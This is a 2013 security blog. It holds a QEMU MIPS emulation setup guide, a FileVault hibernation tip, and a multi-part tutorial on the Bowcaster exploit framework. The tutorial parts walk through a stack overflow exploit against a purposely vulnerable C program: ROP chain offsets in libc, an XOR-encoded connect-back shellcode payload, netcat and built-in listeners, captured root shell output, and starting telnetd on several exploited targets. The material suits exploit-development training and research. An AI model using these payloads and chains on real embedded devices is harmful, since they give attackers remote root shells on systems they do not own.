Friday, May 31, 2013

Running Debian MIPS Linux in QEMU

Sometimes I need a MIPS Linux system that I can use for development and testing.  Maybe I need to test some shellcode or debug a binary I'm analyzing.  What I wish existed was a Raspberry Pi-like MIPS device.  I'd love to have a bunch of small, sub-$50 devices that I could network together as a sort of desktop exploit lab.  Unfortunately I don't know of such a device.  There is MIPS hardware you can get and install Linux on.  I have a Cobalt RAQ, and a lot of people like to get a hackable WiFi router and image it with OpenWRT.  But there's nothing as small, cheap and convenient as the RPi that is MIPS.

What some of us at Tactical Network Solutions use instead is the QEMU emulator running Debian MIPS Linux.  It works really well for most things, and isn't too bad to get set up.  You can apt-get install whatever utilities you want, including gcc, gdb, and other things.  This is a tutorial on getting Debian MIPS up and running in QEMU hosted on Ubuntu Linux.

Here are some details of my setup:

  • Ubuntu Linux 13.04 64-bit
  • Running in VMWare Fusion on OS X 10.8
  • Ubuntu's networked via VMWare's NAT interface
  • I export my workspace from my Mac to VMs via NFS

If your setup is different, hopefully this tutorial will still get you going.  I think as long as you're using Ubuntu underneath QEMU, you should be good.

Download, Patch, and Build QEMU


First we download and build QEMU from source.  There are a number of advantages for building from source vs. installing from Ubuntu's repositories.  Ubuntu's prebuilt QEMU is pretty dated.  Plus, we can ensure we get statically built QEMU binaries which are useful if you want to chroot into a firmware's filesystem and emulate a binary (I won't cover that in this tutorial).  There also is a bug in QEMU that we can easily patch before building.

Download the latest QEMU source tarball from http://wiki.qemu.org/Download.  I downloaded version 1.5.0.  I don't recommend checking out from the git repository since the development tree is likely to be unstable.

In order to build QEMU you need to install several dependencies:


# apt-get install autoconf automake libtool \
   zlib1g-dev libglib2.0-dev

Unpack the QEMU tarball and edit its Makefile.  We need to change the build for libpixman to ensure 'aclocal' gets run before libpixman is built (this wasn't neccesary for 1.4.0, but it is for 1.4.2 and 1.5.0.).  This step is necessary on Ubuntu but I'm not sure about other systems.

Look for the following part of QEMU's top-level Makefile:


pixman/Makefile: $(SRC_PATH)/pixman/configure
        (cd pixman; CFLAGS="$(CFLAGS) -fPIC $(extra_cflags) $(extra_ldflags)" $(SRC_PATH)/pixman/configure $(AUTOCONF_HOST) --disable-gtk --disable-shared --enable-static)

Change it to look like this:


pixman/Makefile: $(SRC_PATH)/pixman/configure
        (cd pixman; aclocal; CFLAGS="$(CFLAGS) -fPIC $(extra_cflags) $(extra_ldflags)" $(SRC_PATH)/pixman/configure $(AUTOCONF_HOST) --disable-gtk --disable-shared --enable-static)

Notice the addition of 'aclocal' after cd'ing into pixman/.  I wish I could explain what this fixes, but autoconf is voodoo, so that's not possible.  Anyway, I couldn't get QEMU to build without hacking the Makefile.

While we're hacking things up, let's edit the source file linux-user/elfload.c.  There's a bug in QEMU where the user-mode emulators will choke on binaries that have their section headers stripped.  Many firmware binaries do this to save space.  Since section headers don't get used by the elf loader, there's no need for QEMU to check them.  Thanks to Craig Heffner for this tip.  Find the following function and comment out the line shown:


static bool elf_check_ehdr(struct elfhdr *ehdr)
{
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
            //&& ehdr->e_shentsize == sizeof(struct elf_shdr)
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

With these two modifications in place, we can now build QEMU:

$ configure --static
$ make
# make install #as root


Download Debian QEMU Images


This is going to take a while.  Drink a few beers while it builds.  If you're building on a multiprocessor machine, you may need to drink a couple beers at once.  When it's all done, you'll have system and user-mode emulators for a ton of architectures including MIPS.

While the above is compiling and you're drinking your beers, you can also be downloading your Debian QEMU images.  You can get them from http://people.debian.org/~aurel32/qemu/.  The 'mips' directory is big endian MIPS and the 'mipsel' directory is little endian.  I downloaded both, and this tutorial assumes that's what you're doing as well.

The 2.6.32 kernel goes with the Debian Squeeze qcow image.  There's also an older kernel and a Debian Lenny image if you want that.  Sadly 2.6.32 and Squeeze are the newest AurĂ©lien has up.

I put my images in ~/debian-qemu/be and ~/debian-qemu/le.   Put them where you like, but be sure to adjust the scripts I provide accordingly.


Set up Bridged Networking


In order to have your QEMU systems bridged to Ubuntu's network, you'll need to do some additional setup.  There are some utilities you need to install:


# apt-get install uml-utilities bridge-utils

You need to add a group that will own the tap that will be used to bridge each QEMU system to Ubuntu's network.  Then add your user to that group.

# groupadd -r tuntap
# usermod -a -G tuntap zach

Log out and back in for group membership to take effect.

Here's what my /etc/network/interfaces file looks like:

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

#auto br0
iface br0 inet dhcp
 pre-up tunctl -t tap0 -g tuntap
 pre-up tunctl -t tap1 -g tuntap
 pre-up ip link set tap0 up
 pre-up ip link set tap1 up
 bridge_ports eth0 tap0 tap1
 bridge_stp off
 bridge_maxwait 0
 bridge_fd 0
 post-down ip link set tap0 down
 post-down ip link set tap1 down
 post-down tunctl -d tap0
 post-down tunctl -d tap1

iface eth1 inet dhcp

Here's the script for starting network bridge.  It gets called by the next script.

#!/bin/sh

sudo ifdown eth0
sudo ifup br0


Here's the script for starting QEMU systems:

#!/bin/sh

quit()
{
 ret=0
 if [ $# -gt 0 ];
 then
  ret=$1
  shift
 fi
 if [ $# -gt 0 ];
 then
  printf "$1\n"
  shift
 fi
 exit $ret
}

image=""
kernel=""
if [ "x$1" = "xle" ];
then
 qemu=qemu-system-mipsel
 image="$HOME/debian-qemu/le/debian_squeeze_mipsel_standard.qcow2"
 kernel="$HOME/debian-qemu/le/vmlinux-2.6.32-5-4kc-malta"
 iface=tap1
 # reset /etc/udev/rules.d/70-persistent-net.rules in qemu guest if you change mac addrs
 macaddr="52:54:00:12:34:XX"
elif [ "x$1" = "xbe" ];
then
 qemu=qemu-system-mips
 image="$HOME/debian-qemu/be/debian_squeeze_mips_standard.qcow2"
 kernel="$HOME/debian-qemu/be/vmlinux-2.6.32-5-4kc-malta"
 iface=tap0
 # reset /etc/udev/rules.d/70-persistent-net.rules in qemu guest if you change mac addrs
 macaddr="52:54:00:12:34:XX"
else
 quit 1 "Specify le or be endianness."
fi

echo "Stopping eth0, starting br0."

bridge.sh || quit 1 "Failed to start br0."

echo "Starting Debian system QEMU session."


$qemu -net nic,macaddr=$macaddr  -net tap,ifname=$iface,script=no,downscript=no -nographic -M malta -kernel $kernel -hda $image -append "root=/dev/sda1 console=tty0"


Booting and Configuring the QEMU Systems


Be sure to edit the MAC addresses in the script above.  They need to be different from one another if you want to run both the little endian and big endian systems at once.

If everything went right, you should be able to start up your QEMU systems:

$ debqemu.sh le

The 'le' argument starts the little endian system and the 'be' argument starts the big endian system.  Be sure to repeat the following customization for both systems.

Once the QEMU system has booted up, you should get a login prompt.  Log in as root with password 'root'.

Since your MAC addresses have changed, edit /etc/udev/rules.d/70-persistent-net.rules and remove entries for any ethernet devices.  Reboot now so they will be regenerated.  This will ensure networking is working properly, in case it isn't currently.

QEMU's console is very limiting, so you'll want to SSH in to do most of your work. You can install OpenSSH in your Debian system using apt:

# apt-get update
# apt-get install openssh-server

From a separate terminal, you should be able to SSH into the QEMU system as root.  You may want to use ssh-copy-id to copy your SSH key in.

At this point I like to set up NFS so I can mount my workspace inside the QEMU system.  That's pretty straightforward so I won't cover it here.

To shutdown your system you can  issue 'halt' or 'init 0', but it doesn't actually power off.  Instead it reboots.   When the kernel's boot messages are scrolling down the console is a good time to cut the power.  Interacting with QEMU's console is similar to using screen or minicom.  You exit using ctrl+a, x, and QEMU terminates.

I hope this is helpful.  Be sure to let me know if anything doesn't make sense or if you get hung up anywhere.

Friday, May 03, 2013

Is your Mac's File System Protected?

Nothing original here, but this is a great tip, so I want to share it.  Thanks to @thegrugq for cluing me into this via Twitter.

For everyone running OS X 10.7 or 10.8 on their Macs (and really, EVERYONE should be on 10.8; the security benefits are non-trivial) and are using FileVault 2 to encrypt your filesystems (you are, right?) here's a good tip I picked up the other day:

$ sudo pmset -a destroyfvkeyonstandby 1
$ sudo pmset -a hibernatemode 25

This has the effect of destroying the memory-resident FileVault encryption key, writing the contents of memory to disk, and removing power from RAM (i.e., hibernating).  Doing this will help protect your laptop from getting raped via FireWire DMA by your hotel's cleaning staff or by the Border Patrol.

A nice article on the topic:
http://www.frameloss.org/2011/09/18/firewire-attacks-against-mac-os-lion-filevault-2-encryption/

Tips via The Grugq:
http://twitter.com/thegrugq/status/329579397319360512
http://twitter.com/thegrugq/status/329579831496941568
http://twitter.com/thegrugq/status/329580468120993792

Thursday, April 25, 2013

Bowcaster's EmptyOverflowBuffer class (Tutorial Part 5)

In previous parts of the Bowcaster tutorial, I showed how to construct your buffer overflow using the OverflowBuffer class.  I also mentioned there is another class, EmptyOverflowBuffer, that I would explain later.  That class is going to be the topic of this post.

When I started development of Bowcaster, I created it for myself and for the way I develop exploits and think about buffer overflows.   The OverflowBuffer class works the way I think.  But when I talked to my colleague, Craig Heffner, about the project, Craig preferred a different API, I realized that we each think about the same problem in different ways.

Like I explained previously, the OverflowBuffer class lets you start with an exploit buffer of a prescribed length, filled with a non-repeating pattern.  You then start replacing parts of your buffer with things like ROP gadgets and shellcode.

Craig wanted an API that would start you with an zero length exploit buffer you could grow by appending ROP gadgets, strings and the like.  I couldn't reconcile this proposed API with what I had developed already because, at a fundamental level, we differ in how we visualize the exploit.

OverflowBuffer and EmptyOverflowBuffer each have their advantages.  OverflowBuffer allows the developer to add ROP gadgets and shellcode in an arbitrary order.  I like to visualize the sequence in which the ROP gadgets and shellcode will be executed, and add those pieces to the exploit buffer in that order.

If, on the other hand, you like to visualize the physical layout of your exploit buffer in memory, and want to add the pieces in that order, EmptyOveflowBuffer is probably for you.

Here's an example of creating an EmptyOverflowBuffer instance:


from bowcaster.development.overflowbuilder import EmptyOverflowBuffer
from bowcaster.common.support import LittleEndian

badchars=['\0',0x0d,'\n',0x20]
buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048)

With this class, we have no need for the SectionCreator object, since there is no notion of "replacement sections".  Also note the optional 'max_length' parameter.  Omitting this parameter will mean you can grow your exploit buffer to arbitrary length.  If you provide a maximum length, an exception is raised if adding a section would exceed the specified length.

There are three types of sections you can add: a string, a pattern section, or a ROP gadget.  You may add an arbitrary string using the add_string() method.  For example, you may want to append a long string of 'A's, or your shellcode string.

Adding a pattern section using add_pattern() creates pattern sequence of the specified length.  Note the start of the sequence is calibrated to the start of the overflow buffer and the current offset.  This means a given sub-sequence of the pattern will always be at the same offset into the buffer regardless what other sections came before it.

Here's an example of what I mean:

>>> buf1.add_pattern(8)
>>> buf1.add_pattern(12)
>>> print buf1
Aa0Aa1Aa2Aa3Aa4Aa5Aa

>>> buf2.add_pattern(6)
>>> buf2.add_string("A"*8)
>>> buf2.add_pattern(6)
>>> print buf2
Aa0Aa1AAAAAAAA4Aa5Aa

Above, two buffers are created of length 20.  The second one has a section of 8 'A's in the middle.  However, the sub-sequence 'a5Aa' is at the end of both.  This consistent sequence alignment helps with exploit debugging.

To add a ROP gadget, use the add_rop_gadget() method.  You can specify and optional 'base_address=' parameter if the base address for this gadget's library is different than the default base provided to the constructor.

Another thing to note about this API is that pattern sections are specified in terms of length, not offset.  The offset is implicit; it is simply the buffer's current length.  So if you know offsets into your buffer from where data will get loaded into various registers, you'll need to compute the length of the pattern filler's in between.

Here's an example:


#first function epilogue
ra=528

#second function epilogue
s0=620
s2=628

buf.add_pattern(ra) #$ra loaded from offset 528
buf.add_rop_gadget(0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")

buf.add_pattern(s0-buf.len())
buf.add_rop_gadget(0x506c0,
            description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")

buf.add_pattern(s2-buf.len())
buf.add_rop_gadget(0x427a4,
            description="[$s2] placeholder, derefed without crashing.")

In the example we know the offsets into the buffer from where $ra, $s0, and $s2 will get loaded.  We must specify filler patterns of the right length such that the ROP gadgets will land at the proper offsets and get loaded into the proper registers.  This differs from the combination of SectionCreator and OverflowBuffer where you don't specify filler sections at all (they are implicit) and instead specify ROP gadgets in terms of the offsets.

There is an advantage to this method.  This API only allows you to to append sections one after another, so there's no way to have overlapping sections.  As I explained previously, with OverflowBuffer, if any of the sections overlap, an exception is raised.

Adding a payload is essentially the same.  Create a payload object as before, then use add_string() to append the payload to your exploit buffer. Here's an example:


payload=ConnectbackPayload(CALLBACK_IP,LittleEndian)
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)

buf.add_pattern(shellcode_return-buf.len())
buf.add_string(encoded_payload.shellcode,
            description="encoded connect back payload")


The complete working example can be found in doc/examples/overflow_example_2.py in the Bowcaster source, or click here.

Monday, April 08, 2013

Buffer Overflows with Bowcaster Part 4

In part 1 of the Bowcaster tutorial I showed how to generate an overflow string with the OverflowBuffer class. In part 2, I showed how to populate your your overflow string with ROP gadgets. In part 3, I showed how to add Bowcaster's connect-back payload for MIPS Linux to your overflow string. I also showed how to encode your payload using Bowcaster's MIPS Linux-specific XOR encoder in order to sanitize restricted bytes.

Part 3 ended by using a netcat listener to serve a connect-back root shell.  In this part I'll show how to use one of Bowcaster's server modules to replace netcat.

Bowcaster provides a couple of server modules to receive connections from connect-back payloads.  The one we're interested in for this tutorial is imaginatively called ConnectbackServer.

Import it into your exploit code like so:


from bowcaster.servers.connectback_server import ConnectbackServer

In part 3, we create a payload object by first creating a ConnectbackHost object and passing it to ConnectbackPayload().  Creating the server works the same way.  Using the same host for both payload and server ensure the payload connects back to the right IP address and port.


connectback_host=ConnectbackHost(CALLBACK_IP) #default port is 8080
connectback_server=ConnectbackServer(connectback_host,startcmd="/bin/sh -i")
payload=ConnectbackPayload(connectback_host,LittleEndian)
#create string section from payload.shellcode,
#and instantiate buffer overflow
#See part 3.


The ConnectBack server class provides some features that you don't get with a simple netcat listener.  First, it gives you the ability to automatically execute a command on the target upon connection.  More on this in a bit.

More importantly, by forking into the background and operating asynchronously, ConnectbackServer gives you the ability to serve a connection right from your exploit script rather than having to fire up a listener in a separate session. For example:


#Start server
connectback_server.serve_connectback()

#Throw exploit
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((addr,port))
print("sending exploit.")
sock.send(str(buf))
sock.close()

#Wait for connect-back server to finish up.
connectback_server.wait()

Here it is in action:


zach@zolan:~/code/bowcaster/doc/examples (0) $ ./overflow_example_1.py 192.168.1.1 9999
 [@] bad char count: 4
 [@] No bad bytes in decoder stub.
 [@] length of encoded shellcode, including stub is: 304
 [@] Length of overflow: 1300
Listening on port 8080

Waiting for incoming connection.

sending exploit.
Target has phoned home.



BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /proc/version
cat /proc/version
Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#

Like I mentioned above, the ConnectbackServer class takes an optional 'startcmd' argument to its constructor.  This is useful in a few ways.  First, I like to use /bin/sh -i just because it looks nicer to have that familiar root '#'.  But you may want to issue a command to restart the exploited service, that way your target is automatically prepped for re-exploitation.

But, there's another optional argument to ConnectbackServer that, when combined with startcmd, is pretty cool.  You can optionally specify connectback_shell=False.  If you do this, then ConnectbackServer will not provide an interactive shell.  Instead it will send the start command if you provided one, and then immediately close the connection.  Why is this useful?  Say you wanted to exploit a list of ten targets and have them automatically prepped for interactive login whenever you're ready.  You could do:


server=ConnectbackServer(connectback_host,startcmd='/sbin/telnetd',connectback_shell=False)

By specifying startcmd='/bin/telnetd' and connectback_shell=False, you could have the target await your login via telnet at your convenience.

I hope this is useful.  Be sure to send me screenshots of some of your root prompts.

Crossbow is now Bowcaster

Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source, noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I left the original post as-is, save for an update note and a new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Here's the new Github project: https://github.com/zcutlip/bowcaster.git

I plan to update the existing tutorials accordingly, and hopefully get some new ones up in the next few days.

Thanks for your patience, and apologies the inconvenience.

Friday, March 29, 2013

Buffer Overflows with Bowcaster Part 3

This is the third part in a multi part tutorial on using the Bowcaster exploit development framework to build a buffer overflow exploit. Here are part 1 and part 2.

In the last part, we had built an exploit buffer and added a ROP chain that would flush the MIPS CPU cache, locate the stack (which is randomized), and return into it.  Now it's time to add a payload.

Bowcaster provides a few MIPS Linux payloads, and the one we'll use for this buffer overflow is the connect-back payload, which will yield an interactive shell.

In order to create a payload object, you must pass the constructor a ConnectbackHost object.  The host object is created from the IP address and TCP port you want your target to connect back to.  The "port=" parameter is optional and defaults to 8080.


from bowcaster.servers import ConnectbackHost

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080

Then you pass your host object to the constructor of the payload object:


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

In addition to the host object, the payload constructor requires an endianness parameter.

Payload objects have a shellcode attribute that you can use to create a string section.  Add the new string section to your list of replacement sections that will be passed into the OverflowBuffer constructor.  Here's an example, trimmed for brevity:



from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

section=SC.string_section(700,payload.shellcode,
            description="connect-back payload")
sections.append(section)
buf=OverflowBuffer(LittleEndian,1300,sections)


If you have a set of restricted bytes that you must avoid in your buffer overflow, you may want to use an encoder. You also will want to use an encoder if your connect-back address or port will contain nul bytes, such as 192.168.0.1. Bowcaster provides an XOR encoder that will attempt to encode your payload, sanitizing out your bad bytes.

Similar to normal payloads, encoded payloads have a shellcode attribute.  Below is the previous example, modified to encode the payload.


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

#XOR encode the payload.
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)
section=SC.string_section(700,encoded_payload.shellcode,
            description="encoded connect-back payload")
sections.append(section)

buf=OverflowBuffer(LittleEndian,1300,sections)


There are some important things to note about the encoder.  First, it only encodes your payload.  So if there are bad bytes in your ROP chain, there's nothing the encoder can do about that.  As I explained in the previous part, if you attempt to create a replacement section with SectionCreator that would have bad bytes, it'll let you know by raising an exception.  So at least there's that.

Also, the XOR encoder scans its decoder stub, which, of course, has to stay unencoded, for your bad bytes and will raise an exception if it fails that test.

Additionally, the XOR encoder takes an optional parameter, "key=", which needs to be a 4-byte integer.  If you provide this, the encoder will attempt to use that key to encode your payload.  If the key itself or the encoded payload contains any of your bad bytes, an exception is raised.  If you don't provide a key, it generates one randomly.  It will make a certain number of attempts[1] to generate a key and encode your payload without bad bytes.  If it exceeds the maximum number of attempts without a successful encode, an exception is raised.  This brute-force method is kind of a pain because it means sometimes the encode will be successful, other times it won't.  It may fail once, then succeed if you run it again.  Boo.  If you have just two or three bad bytes, the encode will almost always succeed. The more you have the less likely it will succeed.  Anyway, the encoder logs the key that it used.  If you find one that works, then save it and pass it to the constructor from then on to make sure your encode always works.

At this point you should have a complete, working buffer overflow exploit that will cause your target to connect back to the specified host and port.  You can accept the incoming connection with a traditional netcat listener:


zach@endor:/Volumes/Users/share/code/bowcaster (130) $ nc -l 8080
/bin/sh -i


BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

# cat /proc/version

Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#


In the next part, I'll show how to use one of the connect-back servers provided by Bowcaster in place of the netcat listener.

UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster
UPDATE 4/17/2013: Added explanation about payload and encoded payloads having a shellcode attribute.
--------------------
[1] I may make this tunable or self-tuning in the future. Not sure. Open to ideas on this.

Thursday, March 28, 2013

Buffer Overflows with Bowcaster Part 2

This is the second in a multi-part tutorial on developing a buffer overflow exploit using Bowcaster.  Here's Part 1.

In part 1, we had gotten a crash by sending a 2048-byte pattern to the vulnerable program.

The saved return address had been overwritten with 0x41367241 and restored to the $ra register.  That value is located at an offset of 528 in our overflow buffer.  Now we need to start describing ROP gadgets and substituting them for parts of the 2048-byte overflow string.

In order to start replacing parts of the overflow string, we need to create a list of replacement sections[1].  The easiest way to do that is to use the SectionCreator class.  This is essentially a factory that generates OverflowSection objects.

You need to know a couple of things in order to instantiate a SectionCreator object: the endianness (which we already identified as little endian), an optional base address of the library you want to ROP into, and an optional list of bad bytes.  If you provide the list of bad bytes, you'll get an exception if any of the overflow sections you create contain any of the restricted characters.

While the base address is an optional parameter to SectionCreator's constructor, I recommend providing the address of whatever library you're going to use most.  If you're using more than one library, you can override this setting at any time if to create a ROP object in another library.  Libc is often a good library to ROP into, and we can find its base address in /proc/<pid>/maps:

$ sudo cat /proc/6104/maps
00400000-00402000 r-xp 00000000 00:17 4833702    rootfs/vulnerable
00402000-00411000 ---p 00000000 00:00 0
00411000-00412000 rw-p 00001000 00:17 4833702    rootfs/vulnerable
...
4084a000-408a1000 r-xp 00000000 00:17 240427     rootfs/lib/libc.so.0
408a1000-408e1000 ---p 00000000 00:00 0
408e1000-408e2000 r--p 00057000 00:17 240427     rootfs/lib/libc.so.0
408e2000-408e3000 rw-p 00058000 00:17 240427     rootfs/lib/libc.so.0

The base address of libc is 0x4084a000.

The vulnerable function simply does a recv() into a buffer on the stack, so it doesn't actually have any restricted bytes.  But for the sake of example, we'll assume we can't use nul or space, 0x00, and 0x20, respectively.

A SectionCreator object is instantiated like so:


from bowcaster.overflow_development.overflowbuilder import SectionCreator

qemu_libc_base=0x4084a000
badchars=['\x00','\x20']
SC=SectionCreator(LittleEndian,base_address=qemu_libc_base,badchars=badchars)

Like I explained previously, we need to find the library addresses of our ROP gadgets manually or with other tools.  I use IDA Pro, but you can disassemble with objdump and do the same.

The first ROP gadget we need is a function epilogue that restores a bunch of the MIPS S registers from the stack.



The picture above is an epilogue at 0x31B44 in libc that restores $s0-$s7, plus $ra.  Who knows what this function is? Who cares?  IDA calls it sub_318DC.  Good enough.

We create a ROP gadget object for this address like so:


sections=[]
#function epilogue rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

The gadget_section() method takes a mandatory offset and and address value, and an optional description and optional base address.

The description is just a textual description of this overflow section.  It gets used in log output, exception messages etc, and helps you debug your exploit if things go wrong.  If you don't provide a description, a generic one gets generated.

This is where you can override the base address you specified earlier.  Say instead of a ROP gadget, you just want to put a placeholder on the stack that will avoid blowing up the program before the function returns.  Here you could provide the literal value to gadget_section() and override the base address with 0.  This value will get encoded with the proper endianness and placed in the buffer.

Keep adding to your list of sections, and then instantiate the OverflowBuffer object just like before, but this time pass the section is as the optional third parameter:


buf=OverflowBuffer(LittleEndian,2048,sections)

There are a couple of things to note about the OverflowBuffer class. First, when you create it with a list of sections, those sections replace portions of the filler pattern. The parts of the pattern that come before and after each section remain undisturbed so their offsets stay the same. Second, if any of the sections in your list overlap, OverflowBuffer will log an error message listing problem sections (this is where the optional description strings are useful), and it will raise an exception.

For example, I created a section of 8 "D"s at offset 500, and another section of 8 "A"s at offset 504.  They overlap by 4.  I got the following log output:

[!] Section "D's",
 offset: 500
 length: 8
 overlaps with the following sections:
[!] "A's overlapping with D's"
 offset: 504
 length: 8

With this gadget added, run your exploit once more and see what values get restored to the S registers and $ra. Like before, use find_offet() to figure out the offsets into your buffer where you'll need to place your gadgets such that they'll be loaded into the appropriate registers.

In order to get into the stack and start executing payload, we need a series of ROP gadgets that do the following:
  • Stage an argument to sleep() into $a0 (for data cache flushing; MIPS cache-coherency).
  • Return into libc's sleep()
  • Load some offset from $sp into an S register, thereby locating the stack.
  • Jump to the S register containing a stack address.
To give you a more complete picture of how to build your ROP chain, below is a listing of the gadgets I used for this exploit.


sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#Sleep arg 2 into $a0, stack data into $ra, then jalr $s0
section=SC.gadget_section(656,0x43880,
            description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1")
sections.append(section)

#address of sleep
section=SC.gadget_section(620,0x506c0,
            description="Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")
sections.append(section)

#placeholder address that can be dereferenced without crashing, this goes in $s2
section=SC.gadget_section(628,0x427a4,
            description="[$s2] placeholder, derefed without crashing.")
sections.append(section)

#stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6
section=SC.gadget_section(688,0x427a4,description="stackfinder.")
sections.append(section)

#stackjumber. jalr $s0
section=SC.gadget_section(644,0x1ffbc,description="[$s0] stackjumper")
sections.append(section)



Pass this list to the OverflowBuffer constructor to create a buffer overflow string containing your ROP chain.

In the next part, I'll describe adding a connect-back payload section to your buffer overflow string as well as how to use a payload encoder.

------------------------
[1] In a future tutorial I'll describe the use of the EmptyOverflowBuffer class.  Instead of taking a list of replacement sections, it starts out with 0 length, and you build it up by appending sections one at at time.


UPDATE 3/29/2013: Added syntax highlighting. Added import statement for SectionCreator.
UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster

Buffer Overflows with Bowcaster Part 1

This is the first in a multi-part tutorial on developing a buffer overflow exploit using Crossbow (now called Bowcaster), which I released earlier today.

For this tutorial I've written a simple program in C that overflows a buffer on the stack with whatever it reads from the network.  I cross-compiled it for MIPS Linux and ran it using QEMU chrooted into the unpacked filesystem of the Netgear WNDR3700v3 (Firmware 1.0.0.18).

The program, vulnerable.c contains the following function:


/*
 * vulnerable function.
 * reads up to 2048 off a socket onto a small buffer on the stack.
 */
int receive_data(int sockfd)
{
    int read_bytes;
    char buf[512];


    if(sockfd < 0)
    {
        return -1;
    }

    read_bytes=recv(sockfd,buf,2048,0);
    if(read_bytes < 0)
    {
        perror("recv");
    }else
    {
        printf("read %d bytes.\n",read_bytes);
    }

    return read_bytes;

}


This is a contrived example[1] but it should make it easier to focus on the mechanics of using Crossbow without getting bogged down in real-world complications.

The first module to know about when developing a buffer overflow is bowcaster.overflow_development.overflowbuilder.  This module contains classes that will be useful for building an overflow buffer.  There are two main classes to choose from when bulding your buffer, OverflowBuffer, and EmptyOverflowBuffer.  They each represent a different way of solving the same set of problems, and they each have their advantages.  For now, we'll use the first; OverflowBuffer.  I'll do a subsequent tutorial show how to use the second.

The OverflowBuffer class starts you out with a buffer of a specified length filled with a pattern string consisting of upper and lower alphabetic characters and numbers (to help with debugging).  One at a time, you can start replacing sections of that buffer with things like ROP gadgets or your payload.

Here's an example:


buf=OverflowBuffer(LittleEndian,2048)

Here we instantiate the OverflowBuffer object, passing it "LittleEndian" and the size of the buffer we want to create; 2048.

The LittleEndian object is a constant that OverflowBuffer will use whenever data encoding is endianness-sensitive.  It is imported and made available for use like so:


from bowcaster.common.support import LittleEndian

The OverflowBuffer object can be converted to a string and sent to the target:


sock.send(str(buf))


With a debugger attached to the vulnerable program we can witness our first crash, controlling the function's return address:


The $ra register contains 0x41367241.

OverflowBuffer provides a function, find_offset(), that takes a string or an integer and will locate that value in the overflow string.

I like to add an option to my exploit program that lets me provide a search string on the command line and find the offset.


if len(sys.argv) == 2:
    search_value=sys.argv[1]
    if search_value.startswith("0x"):
        value=int(search_value,16)
    offset=buf.find_offset(value)
    if(offset < 0):
        print "Couldn't find value %s in the overflow buffer." % search_value
    else:
        print "Found value %s at\noffset: %d" % (search_value,offset)
    exit(0)


When searching for 0x41367241, it is found 528 bytes from the start of the overflow buffer.

Found value 0x41367241 at
offset: 528

Now we can insert the first of a series of ROP gadgets at offset 528.

Controlling several S registers is important for staging ROP gadgets, but unfortunately this vulnerable function doesn't restore any S registers before returning.  We can only control the $ra register.  That means we need to return into a function epilogue that does restore several S registers.

While bowcaster doesn't provide the capability to search for ROP gadgets, this can be done in IDA Pro or using objdump from your compiler toolchain[2].

In the next part I'll cover how to describe your ROP gadgets and add them to your overflow using Crossbow.


------------------------
[1] Although, in the world of embedded MIPS Linux, not as contrived as one might think. :-/
[2] If anyone wants to contribute, a MIPS ROP finder that can be used independently of IDA would be super double awesome.


UPDATE 3/29/2013: Added syntax highlighting using https://github.com/Siarc/code2html.  Thanks for the tip, @0xKD.
UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster

Crossbow

UPDATE: Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I'm leaving this post as-is, save for the new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Thanks!
Zach

ORIGINAL POST:

I'm proud to announce the open source release of a project I've been working on since January called Crossbow.

